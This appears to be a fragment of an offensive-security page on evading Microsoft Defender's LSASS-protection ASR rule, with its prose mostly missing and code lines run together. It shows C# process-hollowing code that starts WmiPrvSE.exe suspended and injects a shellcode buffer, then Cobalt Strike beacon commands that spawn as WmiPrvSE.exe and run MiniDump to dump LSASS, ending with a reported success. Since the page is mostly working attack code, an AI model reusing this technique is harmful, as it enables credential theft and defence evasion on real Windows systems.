Bypass ASR Rule and Dump LSASS
Introduction
ASR rule modes
Block credential stealing from LSASS

Trick Time

References
Last updated


Last updated
Set-MpPreference -AttackSurfaceReductionRules_Ids 9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2 -AttackSurfaceReductionRules_Actions Enable// The sixth parameter (0x4) specifies the creation flags for the new process. The value 0x4 corresponds to the CREATE_SUSPENDED flag, which means that the new process will be created in a suspended state.
CreateProcess(null, "C:\\Windows\\System32\\wbem\\WmiPrvSE.exe", IntPtr.Zero, IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref si, out pi);byte[] buf = new byte[822] { 0xE9, 0x1B, 0x03, <snip> , 0xE6, 0x5E, 0xC3};
WriteProcessMemory(hProcess, addressOfEntryPoint, buf, buf.Length, out nRead);ResumeThread(pi.hThread);
beacon> spawnto x64 C:\Windows\System32\wbem\WmiPrvSE.exe
[*] Tasked beacon to spawn x64 features to: C:\Windows\System32\wbem\WmiPrvSE.exe
beacon> execute-assembly MiniDump.exe
[*] LSASS dump succeeded